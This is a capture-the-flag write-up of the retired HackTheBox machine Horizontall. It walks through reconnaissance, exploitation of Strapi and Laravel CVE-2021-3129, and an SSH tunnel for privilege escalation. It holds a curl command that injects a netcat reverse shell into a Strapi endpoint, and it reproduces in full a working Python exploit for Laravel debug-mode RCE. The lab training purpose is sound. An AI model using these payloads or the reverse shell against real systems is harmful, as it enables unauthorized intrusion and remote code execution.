HackTheBox Horizontall ~ retired

CTF Write up

·

6 min read

HackTheBox Horizontall ~ retired

HackTheBox Horizontall

Initial recon

I started by running a nmap scan to identify ports, services and versions.

nmap -sC -sV -T5 $ip

s1png

Service research

Port 22

The OpenSSH version running could be vulnerable to username enumeration Exploit DB Poc

this was a rabbit hole that I did not need to come back to in the end

As i do not believe this will grant me the initial foot hold needed to progress on the box I have taken a note of this as it could be used for a later in the attack.

Port 80

Moving onto the web server running it has been identified as nginix 1.14.0 with a underlying host OS of ubuntu. After researching this nginix version I could only find a HTTP2 resource consumption vulnerability so I decided to move on and enumerate more.

From the nmap scan we are also given a domain horzizontall.thb I added this to my host file

sudo nano /etc/hosts

s2.png

After adding the newly found domain into my host files I entered into my web browser and began to investigate the website. I always check for the following quickly to save time:

*.htb/wp-admin 
*.htb/robots.txt

They both returned 404. Further investigating the website none of the navigation bars were working so this lead me too look at the source code where I found two interesting java script files

ss.png

The first js/chunk returned nothing interesting while looking through so I moved onto the high lighted text.

When first opening the file one thing jumped out at me

ss.png

Base64 now the next step I take when I am presented with a large messy java script file is to use a java script beautifier to make the content easier to read.

After beautifying the JS i attempted to decode the java script which turned out to be nothing important so I began looking deeper into the rest of the java script when I came across a subdomain

api-prod.horizontall.htb/reviews

I quickly added this to my host file.

Another way I could of discovered this would of been to use gobuster and brute force the vhost

ss2.png

ss4.png

After playing around and looking at what is running I could not find anything so I decided to run a sub directory brute force scan using gobuster gobuster dir --wordlist location -u url.htb

ss6.png

Instantly we found /admin

Seeing that whatever is protected by this login page is some sort of service called "strapi" I decided to google "strapi exploit"

ss7.png

Remote code execution unauthenticated this is perfect. I downloaded the POC code and ran it against the url.

At this is a blind RCE I will need to create a reverse shell to leverage this further

ss8.png

After getting a reverse shell I will need to upgrade the shell

ss9.png

Bonus: We could of exploited this manually by requiring a JWT token(python script does this for us) poc:

curl -i -s -k -X $'POST' -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMzE5NzEwLCJleHAiOjE2MzI5MTE3MTB9.AfJr81dyxnmzlutCKArmf0kBgFCcDDhsk91IYNDpTFM' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ip $port >/tmp/f)\",\"port\":\"80\"}' $'http://api-prod.horizontall.htb/admin/plugins/install'

make sure to change the IP to your attack IP Now that I have upgraded the shell it's time to hunt for flags

a1.png

The user flag is normally located in the /home/$username directory in a file called user.txt

a2.png

Now that we have the user flag the next step is to obtain root and gain the root flag.

After poking around the file system and going through some basic Linux privilege escalation.

  • I like to follow the check list provided by hack tricks*

I ran netstat to see the network connections.

a3.png

Bonus:

You could of also used linpeas to find this or any other command to view network connections like "ss"

We can see port 8000 running on local host this means that we are going to have to forward our request somehow to the service running locally.

How to preform ssh forwarding "port tunnelling"

*First of all we will need to generate some keys on the attack machine. We will do this with the ssh-keygen command.

we are interested in the *.pub file

Now to the victim machine we will also use the ssh-keygen command.

Keeping note of the key in the *.pub file

Then we need to put the attack machines key into the victims machines authorised_keys files. Along with the victims *.pub key into the same authorised_keys files

We must ensure both keys are in there or we wont be able to authenticate*

a4.png

I had some issue echoing both keys separately into the file so I had to do them together to prevent overwriting I used echo to pipe both the keys into the file

a5.png

Connecting to SSH now let's authenticate with the below command:

 ssh -i ~/.ssh/id_rsa -L 8000:127.0.0.1:8000 strapi@horizontall.htb

a6.png

We can connect to the local port now so we visit it in our browser

a7.png

This version of Larvael is vuln to another RCE

a8.png

exploit the RCE to obtain root and then steal the flags

root.png

A look at how CVE:2021-3129 works

POC:

Ambonics blog post did an amazing in-depth job of discussing every step involved you would get true value from reading it:

ambionics.io/blog/laravel-debug-rce

# Exploit Title: Laravel 8.4.2 debug mode - Remote code execution
# Date: 1.14.2021
# Exploit Author: SunCSR Team
# Vendor Homepage: https://laravel.com/
# References: 
# https://www.ambionics.io/blog/laravel-debug-rce
# https://viblo.asia/p/6J3ZgN8PKmB
# Version: <= 8.4.2
# Tested on: Ubuntu 18.04 + nginx + php 7.4.3
# Github POC: https://github.com/khanhnv-2091/laravel-8.4.2-rce


#!/usr/bin/env python3

import requests, sys, re, os

header={
    "Accept": "application/json"
}

data = {
        "solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",\
        "parameters":{
            "variableName":"cm0s",
            "viewFile":""
        }
    }

def clear_log(url='', viewFile=''):

    global data

    data['parameters']['viewFile'] = viewFile
    while (requests.post(url=url, json=data, headers=header, verify=False).status_code != 200): pass
    requests.post(url=url, json=data, headers=header, verify=False)
    requests.post(url=url, json=data, headers=header, verify=False)

def create_payload(url='', viewFile=''):

    global data

    data['parameters']['viewFile'] = viewFile
    resp = requests.post(url=url, json=data, headers=header, verify=False)
    if resp.status_code == 500 and f'file_get_contents({viewFile})' in resp.text:
        return True
    return False

def convert(url='', viewFile=''):

    global data

    data['parameters']['viewFile'] = viewFile
    resp = requests.post(url=url, json=data, headers=header, verify=False)
    if resp.status_code == 200:
        return True
    return False

def exploited(url='', viewFile=''):

    global data

    data['parameters']['viewFile'] = viewFile
    resp = requests.post(url=url, json=data, headers=header, verify=False)
    if resp.status_code == 500 and 'cannot be empty' in resp.text:
        m = re.findall(r'\{(.|\n)+\}((.|\n)*)', resp.text)
        print()
        print(m[0][1])

def generate_payload(command='', padding=0):
    if '/' in command:
        command = command.replace('/', '\/')
        command = command.replace('\'', '\\\'')
    os.system(r'''php -d'phar.readonly=0' ./phpggc/phpggc monolog/rce1 system '%s' --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g' > payload.txt'''%(command))
    payload = ''
    with open('payload.txt', 'r') as fp:
        payload = fp.read()
        payload = payload.replace('==', '=3D=')
        for i in range(padding):
            payload += '=00'
    os.system('rm -rf payload.txt')
    return payload


def main():

    if len(sys.argv) < 4:
        print('Usage:  %s url path-log command\n'%(sys.argv[0]))
        print('\tEx: %s http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log \'id\''%(sys.argv[0]))
        exit(1)

    if not os.path.isfile('./phpggc/phpggc'):
        print('Phpggc not found!')
        print('Run command: git clone https://github.com/ambionics/phpggc.git')
        os.system('git clone https://github.com/ambionics/phpggc.git')

    url = sys.argv[1]
    path_log = sys.argv[2]
    command = sys.argv[3]
    padding = 0

    payload = generate_payload(command, padding)
    if not payload:
        print('Generate payload error!')
        exit(1)

    if 'http' not in url and 'https' not in url:
        url = 'http'+url
    else:
        url = url+'/_ignition/execute-solution'

    print('\nExploit...')
    clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
    create_payload(url, 'AA')
    create_payload(url, payload)
    while (not convert(url, 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s'%(path_log))):
        clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
        create_payload(url, 'AA')
        padding += 1
        payload = generate_payload(command, padding)
        create_payload(url, payload)

    exploited(url, 'phar://%s'%(path_log))

if __name__ == '__main__':
    main()